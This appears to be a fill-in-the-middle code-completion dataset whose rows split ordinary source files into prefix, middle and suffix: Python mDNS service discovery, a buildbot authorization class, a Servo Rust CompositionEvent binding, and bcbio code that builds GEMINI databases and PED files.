pybonjour.kDNSServiceFlagsAdd): # print 'Service removed: ', serviceName, " ", regtype discovered_lock.acquire() del self.discovered[hash(serviceName+regtype)] for item in discovered: if item[0] == serviceName: discovered.remove(item) discovered_lock.release() return if hash(serviceName+regtype) not in self.discovered: self.discovered[hash(serviceName+regtype)] = True # print 'Service added; resolving' resolve_sdRef = pybonjour.DNSServiceResolve(0, interfaceIndex, serviceName, regtype, replyDomain, self.resolve_cb) try: while not self.resolved: ready = select.select([resolve_sdRef], [], [], TIMEOUT) if resolve_sdRef not in ready[0]: print 'Resolve timed out' break pybonjour.DNSServiceProcessResult(resolve_sdRef) else: self.resolved.pop() finally: resolve_sdRef.close() discovered_event.clear() def run(self): browse_sdRef = pybonjour.DNSServiceBrowse(regtype = self.reg_type, callBack = self.browse_cb) try: try: while True: discovered_event.clear() ready = select.select([browse_sdRef], [], []) if browse_sdRef in ready[0]: pybonjour.DNSServiceProcessResult(browse_sdRef) # time.sleep(0.1) except KeyboardInterrupt: pass finally: browse_sdRef.close()
d = mDNS_Discovery(reg_type) d.start() discovery_running = True
conditional_block
discovery.py
import threading import select import time import socket pyb_present = False try: import pybonjour pyb_present = True except ImportError: pyb_present = False TIMEOUT = 5 discovered_lock = threading.Semaphore() discovered = [] discovered_event = threading.Event() discovery_running = False def discover(type = "Manual", name = None): if type == "Manual": return discover_Manual_TCP() elif type == "mDNS": if pyb_present: return discover_mDNS(name) else: print "mDNS discovery not possible" return [] def discover_Manual_TCP(): print "Manual Discovery. Enter details:" ssname = raw_input("SmartSpace name >") ip = raw_input("SmartSpace IP Address >" ) port = raw_input("SmartSpace Port >" ) print ssname, ip, port rtuple = ( ssname, ("TCP", (ip,int(port)) )) return rtuple def discover_mDNS(name = None, reg_type = "_kspace._tcp"): global discovery_running if not discovery_running: # print "Starting mDNS discovery" d = mDNS_Discovery(reg_type) d.start() discovery_running = True if not name: discovered_lock.acquire() global discovered tmp = [] print discovered for i in discovered: tmp.append(i) discovered_lock.release() print tmp return tmp else: discovered_lock.acquire() # print discovered tmp = filter(lambda x: x[0] == name, discovered) discovered_lock.release() print tmp return tmp class mDNS_Discovery(threading.Thread): def __init__(self, reg_type): global discovery_running discovery_running = True self.resolved = [] self.discovered = {} self.reg_type = reg_type threading.Thread.__init__(self) def address_cb(self, sdRef, flags, interfaceIndex, errorCode, fullname, rrtype, rrclass, rdata, ttl): if errorCode == pybonjour.kDNSServiceErr_NoError: #print "RDATA type for A is ", type(rdata) #print "Converted: ", socket.inet_ntoa(rdata) # Extract Smart Space name, discard _serv._tcp crap ss_name = self.service_name.split('.')[0] discovered_lock.acquire() # Use TCP for communication, as zeroconf is IP based tech discovered.append((ss_name, ("TCP", (socket.inet_ntoa(rdata), self.port)))) discovered_lock.release() discovered_event.set() def
(self, sdRef, flags, interfaceIndex, errorCode, fullname, hosttarget, port, txtRecord): if errorCode == pybonjour.kDNSServiceErr_NoError: #print 'Resolved service:' #print ' fullname =', fullname #print ' hosttarget =', hosttarget #print ' port =', port self.service_name = fullname self.hostname = hosttarget self.port = port address_sdRef = pybonjour.DNSServiceQueryRecord(fullname = hosttarget, rrtype = pybonjour.kDNSServiceType_A, callBack = self.address_cb) try: ready = select.select([address_sdRef], [], [], TIMEOUT) if address_sdRef in ready[0]: pybonjour.DNSServiceProcessResult(address_sdRef) else: print 'Resolve timed out' finally: address_sdRef.close() self.resolved.append(True) def browse_cb(self, sdRef, flags, interfaceIndex, errorCode, serviceName, regtype, replyDomain): if errorCode != pybonjour.kDNSServiceErr_NoError: return if not (flags & pybonjour.kDNSServiceFlagsAdd): # print 'Service removed: ', serviceName, " ", regtype discovered_lock.acquire() del self.discovered[hash(serviceName+regtype)] for item in discovered: if item[0] == serviceName: discovered.remove(item) discovered_lock.release() return if hash(serviceName+regtype) not in self.discovered: self.discovered[hash(serviceName+regtype)] = True # print 'Service added; resolving' resolve_sdRef = pybonjour.DNSServiceResolve(0, interfaceIndex, serviceName, regtype, replyDomain, self.resolve_cb) try: while not self.resolved: ready = select.select([resolve_sdRef], [], [], TIMEOUT) if resolve_sdRef not in ready[0]: print 'Resolve timed out' break pybonjour.DNSServiceProcessResult(resolve_sdRef) else: self.resolved.pop() finally: resolve_sdRef.close() discovered_event.clear() def run(self): browse_sdRef = pybonjour.DNSServiceBrowse(regtype = self.reg_type, callBack = self.browse_cb) try: try: while True: discovered_event.clear() ready = select.select([browse_sdRef], [], []) if browse_sdRef in ready[0]: pybonjour.DNSServiceProcessResult(browse_sdRef) # time.sleep(0.1) except KeyboardInterrupt: pass finally: browse_sdRef.close()
resolve_cb
identifier_name
discovery.py
import threading import select import time import socket pyb_present = False try: import pybonjour pyb_present = True except ImportError: pyb_present = False TIMEOUT = 5 discovered_lock = threading.Semaphore() discovered = [] discovered_event = threading.Event() discovery_running = False def discover(type = "Manual", name = None): if type == "Manual": return discover_Manual_TCP() elif type == "mDNS": if pyb_present: return discover_mDNS(name) else: print "mDNS discovery not possible" return [] def discover_Manual_TCP(): print "Manual Discovery. Enter details:" ssname = raw_input("SmartSpace name >") ip = raw_input("SmartSpace IP Address >" ) port = raw_input("SmartSpace Port >" ) print ssname, ip, port rtuple = ( ssname, ("TCP", (ip,int(port)) )) return rtuple def discover_mDNS(name = None, reg_type = "_kspace._tcp"): global discovery_running if not discovery_running: # print "Starting mDNS discovery" d = mDNS_Discovery(reg_type) d.start() discovery_running = True if not name: discovered_lock.acquire() global discovered tmp = [] print discovered for i in discovered: tmp.append(i) discovered_lock.release() print tmp return tmp else: discovered_lock.acquire() # print discovered tmp = filter(lambda x: x[0] == name, discovered) discovered_lock.release() print tmp return tmp class mDNS_Discovery(threading.Thread): def __init__(self, reg_type): global discovery_running discovery_running = True self.resolved = [] self.discovered = {} self.reg_type = reg_type threading.Thread.__init__(self) def address_cb(self, sdRef, flags, interfaceIndex, errorCode, fullname, rrtype, rrclass, rdata, ttl): if errorCode == pybonjour.kDNSServiceErr_NoError: #print "RDATA type for A is ", type(rdata) #print "Converted: ", socket.inet_ntoa(rdata) # Extract Smart Space name, discard _serv._tcp crap ss_name = self.service_name.split('.')[0] discovered_lock.acquire() # Use TCP for communication, as zeroconf is IP based tech discovered.append((ss_name, ("TCP", (socket.inet_ntoa(rdata), self.port)))) discovered_lock.release() discovered_event.set() def resolve_cb(self, sdRef, flags, interfaceIndex, errorCode, fullname, hosttarget, port, txtRecord): if errorCode == pybonjour.kDNSServiceErr_NoError: #print 'Resolved service:' #print ' fullname =', fullname #print ' hosttarget =', hosttarget #print ' port =', port self.service_name = fullname self.hostname = hosttarget self.port = port address_sdRef = pybonjour.DNSServiceQueryRecord(fullname = hosttarget, rrtype = pybonjour.kDNSServiceType_A, callBack = self.address_cb) try: ready = select.select([address_sdRef], [], [], TIMEOUT) if address_sdRef in ready[0]: pybonjour.DNSServiceProcessResult(address_sdRef) else: print 'Resolve timed out' finally: address_sdRef.close() self.resolved.append(True) def browse_cb(self, sdRef, flags, interfaceIndex, errorCode, serviceName, regtype, replyDomain): if errorCode != pybonjour.kDNSServiceErr_NoError: return
discovered_lock.acquire() del self.discovered[hash(serviceName+regtype)] for item in discovered: if item[0] == serviceName: discovered.remove(item) discovered_lock.release() return if hash(serviceName+regtype) not in self.discovered: self.discovered[hash(serviceName+regtype)] = True # print 'Service added; resolving' resolve_sdRef = pybonjour.DNSServiceResolve(0, interfaceIndex, serviceName, regtype, replyDomain, self.resolve_cb) try: while not self.resolved: ready = select.select([resolve_sdRef], [], [], TIMEOUT) if resolve_sdRef not in ready[0]: print 'Resolve timed out' break pybonjour.DNSServiceProcessResult(resolve_sdRef) else: self.resolved.pop() finally: resolve_sdRef.close() discovered_event.clear() def run(self): browse_sdRef = pybonjour.DNSServiceBrowse(regtype = self.reg_type, callBack = self.browse_cb) try: try: while True: discovered_event.clear() ready = select.select([browse_sdRef], [], []) if browse_sdRef in ready[0]: pybonjour.DNSServiceProcessResult(browse_sdRef) # time.sleep(0.1) except KeyboardInterrupt: pass finally: browse_sdRef.close()
if not (flags & pybonjour.kDNSServiceFlagsAdd): # print 'Service removed: ', serviceName, " ", regtype
random_line_split
discovery.py
import threading import select import time import socket pyb_present = False try: import pybonjour pyb_present = True except ImportError: pyb_present = False TIMEOUT = 5 discovered_lock = threading.Semaphore() discovered = [] discovered_event = threading.Event() discovery_running = False def discover(type = "Manual", name = None): if type == "Manual": return discover_Manual_TCP() elif type == "mDNS": if pyb_present: return discover_mDNS(name) else: print "mDNS discovery not possible" return [] def discover_Manual_TCP():
def discover_mDNS(name = None, reg_type = "_kspace._tcp"): global discovery_running if not discovery_running: # print "Starting mDNS discovery" d = mDNS_Discovery(reg_type) d.start() discovery_running = True if not name: discovered_lock.acquire() global discovered tmp = [] print discovered for i in discovered: tmp.append(i) discovered_lock.release() print tmp return tmp else: discovered_lock.acquire() # print discovered tmp = filter(lambda x: x[0] == name, discovered) discovered_lock.release() print tmp return tmp class mDNS_Discovery(threading.Thread): def __init__(self, reg_type): global discovery_running discovery_running = True self.resolved = [] self.discovered = {} self.reg_type = reg_type threading.Thread.__init__(self) def address_cb(self, sdRef, flags, interfaceIndex, errorCode, fullname, rrtype, rrclass, rdata, ttl): if errorCode == pybonjour.kDNSServiceErr_NoError: #print "RDATA type for A is ", type(rdata) #print "Converted: ", socket.inet_ntoa(rdata) # Extract Smart Space name, discard _serv._tcp crap ss_name = self.service_name.split('.')[0] discovered_lock.acquire() # Use TCP for communication, as zeroconf is IP based tech discovered.append((ss_name, ("TCP", (socket.inet_ntoa(rdata), self.port)))) discovered_lock.release() discovered_event.set() def resolve_cb(self, sdRef, flags, interfaceIndex, errorCode, fullname, hosttarget, port, txtRecord): if errorCode == pybonjour.kDNSServiceErr_NoError: #print 'Resolved service:' #print ' fullname =', fullname #print ' hosttarget =', hosttarget #print ' port =', port self.service_name = fullname self.hostname = hosttarget self.port = port address_sdRef = pybonjour.DNSServiceQueryRecord(fullname = hosttarget, rrtype = pybonjour.kDNSServiceType_A, callBack = self.address_cb) try: ready = select.select([address_sdRef], [], [], TIMEOUT) if address_sdRef in ready[0]: pybonjour.DNSServiceProcessResult(address_sdRef) else: print 'Resolve timed out' finally: address_sdRef.close() self.resolved.append(True) def browse_cb(self, sdRef, flags, interfaceIndex, errorCode, serviceName, regtype, replyDomain): if errorCode != pybonjour.kDNSServiceErr_NoError: return if not (flags & pybonjour.kDNSServiceFlagsAdd): # print 'Service removed: ', serviceName, " ", regtype discovered_lock.acquire() del self.discovered[hash(serviceName+regtype)] for item in discovered: if item[0] == serviceName: discovered.remove(item) discovered_lock.release() return if hash(serviceName+regtype) not in self.discovered: self.discovered[hash(serviceName+regtype)] = True # print 'Service added; resolving' resolve_sdRef = pybonjour.DNSServiceResolve(0, interfaceIndex, serviceName, regtype, replyDomain, self.resolve_cb) try: while not self.resolved: ready = select.select([resolve_sdRef], [], [], TIMEOUT) if resolve_sdRef not in ready[0]: print 'Resolve timed out' break pybonjour.DNSServiceProcessResult(resolve_sdRef) else: self.resolved.pop() finally: resolve_sdRef.close() discovered_event.clear() def run(self): browse_sdRef = pybonjour.DNSServiceBrowse(regtype = self.reg_type, callBack = self.browse_cb) try: try: while True: discovered_event.clear() ready = select.select([browse_sdRef], [], []) if browse_sdRef in ready[0]: pybonjour.DNSServiceProcessResult(browse_sdRef) # time.sleep(0.1) except KeyboardInterrupt: pass finally: browse_sdRef.close()
print "Manual Discovery. Enter details:" ssname = raw_input("SmartSpace name >") ip = raw_input("SmartSpace IP Address >" ) port = raw_input("SmartSpace Port >" ) print ssname, ip, port rtuple = ( ssname, ("TCP", (ip,int(port)) )) return rtuple
identifier_body
authz.py
from buildbot.status.web.auth import IAuth class Authz(object): """Decide who can do what.""" knownActions = [ # If you add a new action here, be sure to also update the documentation # at docs/cfg-statustargets.texinfo 'gracefulShutdown', 'forceBuild', 'forceAllBuilds', 'pingBuilder', 'stopBuild', 'stopAllBuilds', 'cancelPendingBuild', ] def __init__(self, default_action=False, auth=None, **kwargs): self.auth = auth if auth: assert IAuth.providedBy(auth) self.config = dict( (a, default_action) for a in self.knownActions ) for act in self.knownActions: if act in kwargs: self.config[act] = kwargs[act] del kwargs[act] if kwargs: raise ValueError("unknown authorization action(s) " + ", ".join(kwargs.keys())) def advertiseAction(self, action): """Should the web interface even show the form for ACTION?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg: return True return False def needAuthForm(self, action): """Does this action require an authentication form?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg == 'auth' or callable(cfg): return True return False def actionAllowed(self, action, request, *args): """Is this ACTION allowed, given this http REQUEST?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg: if cfg == 'auth' or callable(cfg): if not self.auth: return False user = request.args.get("username", ["<unknown>"])[0] passwd = request.args.get("passwd", ["<no-password>"])[0] if user == "<unknown>" or passwd == "<no-password>": return False if self.auth.authenticate(user, passwd): if callable(cfg) and not cfg(user, *args): return False return True return False else:
return True # anyone can do this..
conditional_block
authz.py
from buildbot.status.web.auth import IAuth class Authz(object): """Decide who can do what.""" knownActions = [ # If you add a new action here, be sure to also update the documentation # at docs/cfg-statustargets.texinfo 'gracefulShutdown', 'forceBuild', 'forceAllBuilds', 'pingBuilder', 'stopBuild', 'stopAllBuilds', 'cancelPendingBuild', ] def __init__(self, default_action=False, auth=None, **kwargs): self.auth = auth if auth: assert IAuth.providedBy(auth) self.config = dict( (a, default_action) for a in self.knownActions ) for act in self.knownActions: if act in kwargs: self.config[act] = kwargs[act] del kwargs[act] if kwargs: raise ValueError("unknown authorization action(s) " + ", ".join(kwargs.keys())) def advertiseAction(self, action): """Should the web interface even show the form for ACTION?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg: return True return False def needAuthForm(self, action):
def actionAllowed(self, action, request, *args): """Is this ACTION allowed, given this http REQUEST?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg: if cfg == 'auth' or callable(cfg): if not self.auth: return False user = request.args.get("username", ["<unknown>"])[0] passwd = request.args.get("passwd", ["<no-password>"])[0] if user == "<unknown>" or passwd == "<no-password>": return False if self.auth.authenticate(user, passwd): if callable(cfg) and not cfg(user, *args): return False return True return False else: return True # anyone can do this..
"""Does this action require an authentication form?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg == 'auth' or callable(cfg): return True return False
identifier_body
authz.py
from buildbot.status.web.auth import IAuth class Authz(object): """Decide who can do what.""" knownActions = [ # If you add a new action here, be sure to also update the documentation # at docs/cfg-statustargets.texinfo 'gracefulShutdown', 'forceBuild', 'forceAllBuilds', 'pingBuilder', 'stopBuild', 'stopAllBuilds', 'cancelPendingBuild', ] def __init__(self, default_action=False, auth=None, **kwargs): self.auth = auth if auth: assert IAuth.providedBy(auth) self.config = dict( (a, default_action) for a in self.knownActions ) for act in self.knownActions: if act in kwargs: self.config[act] = kwargs[act] del kwargs[act] if kwargs: raise ValueError("unknown authorization action(s) " + ", ".join(kwargs.keys())) def advertiseAction(self, action): """Should the web interface even show the form for ACTION?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg: return True return False def
(self, action): """Does this action require an authentication form?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg == 'auth' or callable(cfg): return True return False def actionAllowed(self, action, request, *args): """Is this ACTION allowed, given this http REQUEST?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg: if cfg == 'auth' or callable(cfg): if not self.auth: return False user = request.args.get("username", ["<unknown>"])[0] passwd = request.args.get("passwd", ["<no-password>"])[0] if user == "<unknown>" or passwd == "<no-password>": return False if self.auth.authenticate(user, passwd): if callable(cfg) and not cfg(user, *args): return False return True return False else: return True # anyone can do this..
needAuthForm
identifier_name
authz.py
from buildbot.status.web.auth import IAuth class Authz(object): """Decide who can do what.""" knownActions = [ # If you add a new action here, be sure to also update the documentation # at docs/cfg-statustargets.texinfo 'gracefulShutdown', 'forceBuild', 'forceAllBuilds', 'pingBuilder', 'stopBuild', 'stopAllBuilds', 'cancelPendingBuild', ] def __init__(self, default_action=False, auth=None, **kwargs): self.auth = auth if auth: assert IAuth.providedBy(auth) self.config = dict( (a, default_action) for a in self.knownActions ) for act in self.knownActions: if act in kwargs: self.config[act] = kwargs[act] del kwargs[act]
def advertiseAction(self, action): """Should the web interface even show the form for ACTION?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg: return True return False def needAuthForm(self, action): """Does this action require an authentication form?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg == 'auth' or callable(cfg): return True return False def actionAllowed(self, action, request, *args): """Is this ACTION allowed, given this http REQUEST?""" if action not in self.knownActions: raise KeyError("unknown action") cfg = self.config.get(action, False) if cfg: if cfg == 'auth' or callable(cfg): if not self.auth: return False user = request.args.get("username", ["<unknown>"])[0] passwd = request.args.get("passwd", ["<no-password>"])[0] if user == "<unknown>" or passwd == "<no-password>": return False if self.auth.authenticate(user, passwd): if callable(cfg) and not cfg(user, *args): return False return True return False else: return True # anyone can do this..
if kwargs: raise ValueError("unknown authorization action(s) " + ", ".join(kwargs.keys()))
random_line_split
compositionevent.rs
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at https://mozilla.org/MPL/2.0/. */ use crate::dom::bindings::codegen::Bindings::CompositionEventBinding::{ self, CompositionEventMethods, }; use crate::dom::bindings::codegen::Bindings::UIEventBinding::UIEventBinding::UIEventMethods; use crate::dom::bindings::error::Fallible; use crate::dom::bindings::reflector::reflect_dom_object; use crate::dom::bindings::root::DomRoot; use crate::dom::bindings::str::DOMString; use crate::dom::uievent::UIEvent; use crate::dom::window::Window; use dom_struct::dom_struct; #[dom_struct] pub struct CompositionEvent { uievent: UIEvent, data: DOMString, } impl CompositionEvent { pub fn new_inherited() -> CompositionEvent { CompositionEvent { uievent: UIEvent::new_inherited(), data: DOMString::new(), } } pub fn new_uninitialized(window: &Window) -> DomRoot<CompositionEvent> { reflect_dom_object( Box::new(CompositionEvent::new_inherited()), window, CompositionEventBinding::Wrap, ) } pub fn new( window: &Window, type_: DOMString, can_bubble: bool, cancelable: bool, view: Option<&Window>, detail: i32, data: DOMString, ) -> DomRoot<CompositionEvent>
#[allow(non_snake_case)] pub fn Constructor( window: &Window, type_: DOMString, init: &CompositionEventBinding::CompositionEventInit, ) -> Fallible<DomRoot<CompositionEvent>> { let event = CompositionEvent::new( window, type_, init.parent.parent.bubbles, init.parent.parent.cancelable, init.parent.view.as_deref(), init.parent.detail, init.data.clone(), ); Ok(event) } pub fn data(&self) -> &str { &*self.data } } impl CompositionEventMethods for CompositionEvent { // https://w3c.github.io/uievents/#dom-compositionevent-data fn Data(&self) -> DOMString { self.data.clone() } // https://dom.spec.whatwg.org/#dom-event-istrusted fn IsTrusted(&self) -> bool { self.uievent.IsTrusted() } }
{ let ev = reflect_dom_object( Box::new(CompositionEvent { uievent: UIEvent::new_inherited(), data: data, }), window, CompositionEventBinding::Wrap, ); ev.uievent .InitUIEvent(type_, can_bubble, cancelable, view, detail); ev }
identifier_body
compositionevent.rs
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at https://mozilla.org/MPL/2.0/. */ use crate::dom::bindings::codegen::Bindings::CompositionEventBinding::{ self, CompositionEventMethods, }; use crate::dom::bindings::codegen::Bindings::UIEventBinding::UIEventBinding::UIEventMethods; use crate::dom::bindings::error::Fallible; use crate::dom::bindings::reflector::reflect_dom_object; use crate::dom::bindings::root::DomRoot; use crate::dom::bindings::str::DOMString; use crate::dom::uievent::UIEvent; use crate::dom::window::Window; use dom_struct::dom_struct; #[dom_struct] pub struct CompositionEvent { uievent: UIEvent, data: DOMString, }
uievent: UIEvent::new_inherited(), data: DOMString::new(), } } pub fn new_uninitialized(window: &Window) -> DomRoot<CompositionEvent> { reflect_dom_object( Box::new(CompositionEvent::new_inherited()), window, CompositionEventBinding::Wrap, ) } pub fn new( window: &Window, type_: DOMString, can_bubble: bool, cancelable: bool, view: Option<&Window>, detail: i32, data: DOMString, ) -> DomRoot<CompositionEvent> { let ev = reflect_dom_object( Box::new(CompositionEvent { uievent: UIEvent::new_inherited(), data: data, }), window, CompositionEventBinding::Wrap, ); ev.uievent .InitUIEvent(type_, can_bubble, cancelable, view, detail); ev } #[allow(non_snake_case)] pub fn Constructor( window: &Window, type_: DOMString, init: &CompositionEventBinding::CompositionEventInit, ) -> Fallible<DomRoot<CompositionEvent>> { let event = CompositionEvent::new( window, type_, init.parent.parent.bubbles, init.parent.parent.cancelable, init.parent.view.as_deref(), init.parent.detail, init.data.clone(), ); Ok(event) } pub fn data(&self) -> &str { &*self.data } } impl CompositionEventMethods for CompositionEvent { // https://w3c.github.io/uievents/#dom-compositionevent-data fn Data(&self) -> DOMString { self.data.clone() } // https://dom.spec.whatwg.org/#dom-event-istrusted fn IsTrusted(&self) -> bool { self.uievent.IsTrusted() } }
impl CompositionEvent { pub fn new_inherited() -> CompositionEvent { CompositionEvent {
random_line_split
compositionevent.rs
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at https://mozilla.org/MPL/2.0/. */ use crate::dom::bindings::codegen::Bindings::CompositionEventBinding::{ self, CompositionEventMethods, }; use crate::dom::bindings::codegen::Bindings::UIEventBinding::UIEventBinding::UIEventMethods; use crate::dom::bindings::error::Fallible; use crate::dom::bindings::reflector::reflect_dom_object; use crate::dom::bindings::root::DomRoot; use crate::dom::bindings::str::DOMString; use crate::dom::uievent::UIEvent; use crate::dom::window::Window; use dom_struct::dom_struct; #[dom_struct] pub struct
{ uievent: UIEvent, data: DOMString, } impl CompositionEvent { pub fn new_inherited() -> CompositionEvent { CompositionEvent { uievent: UIEvent::new_inherited(), data: DOMString::new(), } } pub fn new_uninitialized(window: &Window) -> DomRoot<CompositionEvent> { reflect_dom_object( Box::new(CompositionEvent::new_inherited()), window, CompositionEventBinding::Wrap, ) } pub fn new( window: &Window, type_: DOMString, can_bubble: bool, cancelable: bool, view: Option<&Window>, detail: i32, data: DOMString, ) -> DomRoot<CompositionEvent> { let ev = reflect_dom_object( Box::new(CompositionEvent { uievent: UIEvent::new_inherited(), data: data, }), window, CompositionEventBinding::Wrap, ); ev.uievent .InitUIEvent(type_, can_bubble, cancelable, view, detail); ev } #[allow(non_snake_case)] pub fn Constructor( window: &Window, type_: DOMString, init: &CompositionEventBinding::CompositionEventInit, ) -> Fallible<DomRoot<CompositionEvent>> { let event = CompositionEvent::new( window, type_, init.parent.parent.bubbles, init.parent.parent.cancelable, init.parent.view.as_deref(), init.parent.detail, init.data.clone(), ); Ok(event) } pub fn data(&self) -> &str { &*self.data } } impl CompositionEventMethods for CompositionEvent { // https://w3c.github.io/uievents/#dom-compositionevent-data fn Data(&self) -> DOMString { self.data.clone() } // https://dom.spec.whatwg.org/#dom-event-istrusted fn IsTrusted(&self) -> bool { self.uievent.IsTrusted() } }
CompositionEvent
identifier_name
population.py
.file_exists(gemini_db) and use_gemini_quick: use_gemini = do_db_build(samples) and any(vcfutils.vcf_has_variants(f) for f in fnames) if use_gemini: ped_file = create_ped_file(samples + extras, gemini_vcf) gemini_db = create_gemini_db(gemini_vcf, data, gemini_db, ped_file) return [[(name, caller), {"db": gemini_db if utils.file_exists(gemini_db) else None, "vcf": multisample_vcf if is_batch else None}]] def create_gemini_db(gemini_vcf, data, gemini_db=None, ped_file=None): if not gemini_db: gemini_db = "%s.db" % utils.splitext_plus(gemini_vcf)[0] if not utils.file_exists(gemini_db): if not vcfutils.vcf_has_variants(gemini_vcf): return None with file_transaction(data, gemini_db) as tx_gemini_db: gemini = config_utils.get_program("gemini", data["config"]) if "program_versions" in data["config"].get("resources", {}): gemini_ver = programs.get_version("gemini", config=data["config"]) else: gemini_ver = None # Recent versions of gemini allow loading only passing variants load_opts = "" if not gemini_ver or LooseVersion(gemini_ver) > LooseVersion("0.6.2.1"): load_opts += " --passonly" # For small test files, skip gene table loading which takes a long time if gemini_ver and LooseVersion(gemini_ver) > LooseVersion("0.6.4"): if _is_small_vcf(gemini_vcf): load_opts += " --skip-gene-tables" if "/test_automated_output/" in gemini_vcf: load_opts += " --test-mode" # Skip CADD or gerp-bp if neither are loaded if gemini_ver and LooseVersion(gemini_ver) >= LooseVersion("0.7.0"): gemini_dir = install.get_gemini_dir(data) for skip_cmd, check_file in [("--skip-cadd", "whole_genome_SNVs.tsv.compressed.gz")]: if not os.path.exists(os.path.join(gemini_dir, check_file)): load_opts += " %s" % skip_cmd # skip gerp-bp which slows down loading load_opts += " --skip-gerp-bp " num_cores = data["config"]["algorithm"].get("num_cores", 1) tmpdir = os.path.dirname(tx_gemini_db) eanns = _get_effects_flag(data) # Apply custom resource specifications, allowing use of alternative annotation_dir resources = config_utils.get_resources("gemini", data["config"]) gemini_opts = " ".join([str(x) for x in resources["options"]]) if resources.get("options") else "" cmd = ("{gemini} {gemini_opts} load {load_opts} -v {gemini_vcf} {eanns} --cores {num_cores} " "--tempdir {tmpdir} {tx_gemini_db}") cmd = cmd.format(**locals()) do.run(cmd, "Create gemini database for %s" % gemini_vcf, data) if ped_file: cmd = [gemini, "amend", "--sample", ped_file, tx_gemini_db] do.run(cmd, "Add PED file to gemini database", data) return gemini_db def _get_effects_flag(data): effects_config = tz.get_in(("config", "algorithm", "effects"), data, "snpeff") if effects_config == "snpeff": return "-t snpEff" elif effects_config == "vep": return "-t VEP" else: return "" def get_affected_status(data): """Retrieve the affected/unaffected status of sample. Uses unaffected (1), affected (2), unknown (0) coding from PED files: http://pngu.mgh.harvard.edu/~purcell/plink/data.shtml#ped """ affected = set(["tumor", "affected"]) unaffected = set(["normal", "unaffected"]) phenotype = str(tz.get_in(["metadata", "phenotype"], data, "")).lower() if phenotype in affected: return 2 elif phenotype in unaffected: return 1 else: return 0 def
(samples, base_vcf): """Create a GEMINI-compatible PED file, including gender, family and phenotype information. Checks for a specified `ped` file in metadata, and will use sample information from this file before reconstituting from metadata information. """ def _code_gender(data): g = dd.get_gender(data) if g and str(g).lower() in ["male", "m"]: return 1 elif g and str(g).lower() in ["female", "f"]: return 2 else: return 0 out_file = "%s.ped" % utils.splitext_plus(base_vcf)[0] sample_ped_lines = {} header = ["#Family_ID", "Individual_ID", "Paternal_ID", "Maternal_ID", "Sex", "Phenotype", "Ethnicity"] for md_ped in list(set([x for x in [tz.get_in(["metadata", "ped"], data) for data in samples] if x is not None])): with open(md_ped) as in_handle: reader = csv.reader(in_handle, dialect="excel-tab") for parts in reader: if parts[0].startswith("#") and len(parts) > len(header): header = header + parts[len(header):] else: sample_ped_lines[parts[1]] = parts if not utils.file_exists(out_file): with file_transaction(samples[0], out_file) as tx_out_file: with open(tx_out_file, "w") as out_handle: writer = csv.writer(out_handle, dialect="excel-tab") writer.writerow(header) batch = _find_shared_batch(samples) for data in samples: sname = dd.get_sample_name(data) if sname in sample_ped_lines: writer.writerow(sample_ped_lines[sname]) else: writer.writerow([batch, sname, "-9", "-9", _code_gender(data), get_affected_status(data), "-9"]) return out_file def _find_shared_batch(samples): for data in samples: batch = tz.get_in(["metadata", "batch"], data, dd.get_sample_name(data)) if not isinstance(batch, (list, tuple)): return batch def _is_small_vcf(vcf_file): """Check for small VCFs which we want to analyze quicker. """ count = 0 small_thresh = 250 with utils.open_gzipsafe(vcf_file) as in_handle: for line in in_handle: if not line.startswith("#"): count += 1 if count > small_thresh: return False return True def get_multisample_vcf(fnames, name, caller, data): """Retrieve a multiple sample VCF file in a standard location. Handles inputs with multiple repeated input files from batches. """ unique_fnames = [] for f in fnames: if f not in unique_fnames: unique_fnames.append(f) out_dir = utils.safe_makedir(os.path.join(data["dirs"]["work"], "gemini")) if len(unique_fnames) > 1: gemini_vcf = os.path.join(out_dir, "%s-%s.vcf.gz" % (name, caller)) vrn_file_batch = None for variant in data["variants"]: if variant["variantcaller"] == caller and variant.get("vrn_file_batch"): vrn_file_batch = variant["vrn_file_batch"] if vrn_file_batch: utils.symlink_plus(vrn_file_batch, gemini_vcf) return gemini_vcf else: return vcfutils.merge_variant_files(unique_fnames, gemini_vcf, data["sam_ref"], data["config"]) else: gemini_vcf = os.path.join(out_dir, "%s-%s%s" % (name, caller, utils.splitext_plus(unique_fnames[0])[1])) utils.symlink_plus(unique_fnames[0], gemini_vcf) return gemini_vcf def _has_gemini(data): from bcbio import install gemini_dir = install.get_gemini_dir(data) return ((os.path.exists(gemini_dir) and len(os.listdir(gemini_dir)) > 0) and os.path.exists(os.path.join(os.path.dirname(gemini_dir), "gemini-config.yaml"))) def do_db_build(samples, need_bam=True, gresources=None): """Confirm we should build a gemini database: need gemini + human samples + not in tool_skip. """ genomes = set() for data in samples: if not need_bam or data.get("align_bam"): genomes.add(data["genome_build"]) if "gemini" in utils.get_in(data, ("config", "algorithm", "tools_off"), []): return False if len(genomes) == 1:
create_ped_file
identifier_name
population.py
